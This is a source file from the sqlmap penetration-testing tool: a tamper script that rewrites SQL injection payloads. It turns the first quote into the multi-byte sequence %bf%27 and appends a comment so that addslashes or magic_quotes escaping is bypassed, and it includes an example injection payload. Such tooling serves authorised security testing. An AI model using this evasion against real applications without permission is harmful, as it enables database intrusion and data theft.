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#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces quote character (') with a multi-byte combo %BF%27 together with generic comment at the end (to make it work)
Notes:
* Useful for bypassing magic_quotes/addslashes feature
Reference:
* http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
>>> tamper("1' AND 1=1")
'1%bf%27-- -'
"""
retVal = payload
if payload:
found = False
retVal = ""
for i in xrange(len(payload)):
if payload[i] == '\'' and not found:
retVal += "%bf%27"
found = True
else:
retVal += payload[i]
continue
if found:
_ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal)
if _ != retVal:
retVal = _
retVal += "-- -"
elif not any(_ in retVal for _ in ('#', '--', '/*')):
retVal += "-- -"
return retVal
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